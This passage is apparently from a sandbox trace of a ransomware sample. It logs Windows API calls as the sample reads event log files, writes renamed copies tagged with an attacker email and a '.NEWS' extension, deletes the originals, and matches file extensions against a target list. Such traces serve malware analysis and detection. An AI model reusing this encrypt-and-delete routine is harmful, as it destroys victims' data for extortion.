lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0076.314] GetLastError () returned 0x0 [0076.314] ReadFile (in: hFile=0x308, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0076.317] WriteFile (in: hFile=0x330, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0076.318] ReadFile (in: hFile=0x308, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.319] WriteFile (in: hFile=0x330, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x142, lpOverlapped=0x0) returned 1 [0076.319] SetEndOfFile (hFile=0x330) returned 1 [0076.319] CloseHandle (hObject=0x330) returned 1 [0076.321] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.321] SetEndOfFile (hFile=0x308) returned 1 [0076.323] CloseHandle (hObject=0x308) returned 1 [0076.323] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0076.323] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 1 [0076.323] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0076.323] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0076.323] lstrlenW (lpString=".doc") returned 4 [0076.323] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.323] lstrlenW (lpString=".docx") returned 5 [0076.323] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.323] lstrlenW (lpString=".pdf") returned 4 [0076.323] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.323] lstrlenW (lpString=".xls") returned 4 [0076.323] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.323] lstrlenW (lpString=".xlsx") returned 5 [0076.323] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.323] lstrlenW (lpString=".ppt") returned 4 [0076.324] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.324] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0076.324] lstrlenW (lpString=".zip") returned 4 [0076.324] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.324] lstrlenW (lpString=".rar") returned 4 [0076.324] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.324] lstrlenW (lpString=".bz2") returned 4 [0076.324] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.324] lstrlenW (lpString=".7z") returned 3 [0076.324] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.324] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0076.324] lstrlenW (lpString=".dbf") returned 4 [0076.324] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.324] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0076.324] lstrlenW (lpString=".1cd") returned 4 [0076.324] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0076.324] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0076.324] lstrlenW (lpString=".jpg") returned 4 [0076.324] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0076.324] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0076.324] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0076.324] lstrlenW (lpString=".doc") returned 4 [0076.324] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.324] lstrlenW (lpString=".docx") returned 5 [0076.324] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.324] lstrlenW (lpString=".pdf") returned 4 [0076.324] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.324] lstrlenW (lpString=".xls") returned 4 [0076.324] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.324] lstrlenW (lpString=".xlsx") returned 5 [0076.324] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.324] lstrlenW (lpString=".ppt") returned 4 [0076.324] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.324] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0076.324] lstrlenW (lpString=".zip") returned 4 [0076.325] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.325] lstrlenW (lpString=".rar") returned 4 [0076.325] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.325] lstrlenW (lpString=".bz2") returned 4 [0076.325] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.325] lstrlenW (lpString=".7z") returned 3 [0076.325] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.325] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0076.325] lstrlenW (lpString=".dbf") returned 4 [0076.325] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.325] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0076.325] lstrlenW (lpString=".1cd") returned 4 [0076.325] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0076.325] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0076.325] lstrlenW (lpString=".jpg") returned 4 [0076.325] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0076.325] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0076.325] lstrlenW (lpString="Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 49 [0076.325] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0076.325] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=69632) returned 1 [0076.325] CloseHandle (hObject=0x308) returned 1 [0076.326] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20 [0076.326] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.326] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0076.326] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.326] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.326] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0076.326] GetLastError () returned 0x0 [0076.326] ReadFile (in: hFile=0x308, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0076.329] WriteFile (in: hFile=0x330, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0076.331] ReadFile (in: hFile=0x308, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.331] WriteFile (in: hFile=0x330, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x136, lpOverlapped=0x0) returned 1 [0076.331] SetEndOfFile (hFile=0x330) returned 1 [0076.331] CloseHandle (hObject=0x330) returned 1 [0076.335] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.335] SetEndOfFile (hFile=0x308) returned 1 [0076.336] CloseHandle (hObject=0x308) returned 1 [0076.337] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0076.337] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 1 [0076.337] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0076.337] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0076.337] lstrlenW (lpString=".doc") returned 4 [0076.337] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.337] lstrlenW (lpString=".docx") returned 5 [0076.337] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.337] lstrlenW (lpString=".pdf") returned 4 [0076.337] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.337] lstrlenW (lpString=".xls") returned 4 [0076.337] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.337] lstrlenW (lpString=".xlsx") returned 5 [0076.337] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.337] lstrlenW (lpString=".ppt") returned 4 [0076.337] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.337] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0076.337] lstrlenW (lpString=".zip") returned 4 [0076.338] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.338] lstrlenW (lpString=".rar") returned 4 [0076.338] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.338] lstrlenW (lpString=".bz2") returned 4 [0076.338] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.338] lstrlenW (lpString=".7z") returned 3 [0076.338] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.338] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0076.338] lstrlenW (lpString=".dbf") returned 4 [0076.338] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.338] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0076.338] lstrlenW (lpString=".1cd") returned 4 [0076.338] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0076.338] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0076.338] lstrlenW (lpString=".jpg") returned 4 [0076.338] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0076.338] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0076.338] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0076.338] lstrlenW (lpString=".doc") returned 4 [0076.338] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.338] lstrlenW (lpString=".docx") returned 5 [0076.338] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.338] lstrlenW (lpString=".pdf") returned 4 [0076.338] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.338] lstrlenW (lpString=".xls") returned 4 [0076.338] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.338] lstrlenW (lpString=".xlsx") returned 5 [0076.338] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.338] lstrlenW (lpString=".ppt") returned 4 [0076.338] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.338] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0076.338] lstrlenW (lpString=".zip") returned 4 [0076.338] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.338] lstrlenW (lpString=".rar") returned 4 [0076.339] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.339] lstrlenW (lpString=".bz2") returned 4 [0076.339] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.339] lstrlenW (lpString=".7z") returned 3 [0076.339] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.339] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0076.339] lstrlenW (lpString=".dbf") returned 4 [0076.339] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.339] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0076.339] lstrlenW (lpString=".1cd") returned 4 [0076.339] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0076.339] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0076.339] lstrlenW (lpString=".jpg") returned 4 [0076.339] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0076.339] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0076.339] lstrlenW (lpString="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 64 [0076.339] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0076.891] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=69632) returned 1 [0076.891] CloseHandle (hObject=0x344) returned 1 [0076.891] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20 [0076.891] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.891] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0076.891] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.891] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.891] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0076.892] GetLastError () returned 0x0 [0076.892] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0076.895] WriteFile (in: hFile=0x354, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0076.897] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.897] WriteFile (in: hFile=0x354, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x154, lpOverlapped=0x0) returned 1 [0076.897] SetEndOfFile (hFile=0x354) returned 1 [0076.898] CloseHandle (hObject=0x354) returned 1 [0076.900] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.900] SetEndOfFile (hFile=0x344) returned 1 [0076.901] CloseHandle (hObject=0x344) returned 1 [0076.901] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0076.902] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 1 [0076.902] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0076.902] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0076.902] lstrlenW (lpString=".doc") returned 4 [0076.902] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.902] lstrlenW (lpString=".docx") returned 5 [0076.902] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.902] lstrlenW (lpString=".pdf") returned 4 [0076.902] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.902] lstrlenW (lpString=".xls") returned 4 [0076.902] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.902] lstrlenW (lpString=".xlsx") returned 5 [0076.902] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.902] lstrlenW (lpString=".ppt") returned 4 [0076.902] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.902] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0076.902] lstrlenW (lpString=".zip") returned 4 [0076.902] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.902] lstrlenW (lpString=".rar") returned 4 [0076.902] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.902] lstrlenW (lpString=".bz2") returned 4 [0076.903] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.903] lstrlenW (lpString=".7z") returned 3 [0076.903] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0076.903] lstrlenW (lpString=".dbf") returned 4 [0076.903] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0076.903] lstrlenW (lpString=".1cd") returned 4 [0076.903] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0076.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0076.903] lstrlenW (lpString=".jpg") returned 4 [0076.903] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0076.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0076.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0076.903] lstrlenW (lpString=".doc") returned 4 [0076.903] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.903] lstrlenW (lpString=".docx") returned 5 [0076.903] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.903] lstrlenW (lpString=".pdf") returned 4 [0076.903] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.903] lstrlenW (lpString=".xls") returned 4 [0076.903] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.903] lstrlenW (lpString=".xlsx") returned 5 [0076.903] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.903] lstrlenW (lpString=".ppt") returned 4 [0076.903] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0076.903] lstrlenW (lpString=".zip") returned 4 [0076.903] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.903] lstrlenW (lpString=".rar") returned 4 [0076.903] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.903] lstrlenW (lpString=".bz2") returned 4 [0076.903] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.903] lstrlenW (lpString=".7z") returned 3 [0076.903] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0076.904] lstrlenW (lpString=".dbf") returned 4 [0076.904] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0076.904] lstrlenW (lpString=".1cd") returned 4 [0076.904] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0076.904] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0076.904] lstrlenW (lpString=".jpg") returned 4 [0076.904] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0076.904] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0076.904] lstrlenW (lpString="Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 49 [0076.904] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0076.904] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=69632) returned 1 [0076.904] CloseHandle (hObject=0x344) returned 1 [0076.904] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20 [0076.904] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.905] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0076.905] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.905] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.905] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0076.907] GetLastError () returned 0x0 [0076.907] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0076.911] WriteFile (in: hFile=0x354, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0076.913] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.913] WriteFile (in: hFile=0x354, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x136, lpOverlapped=0x0) returned 1 [0076.913] SetEndOfFile (hFile=0x354) returned 1 [0076.913] CloseHandle (hObject=0x354) returned 1 [0076.916] SetFilePointerEx (in: hFile=0x344, 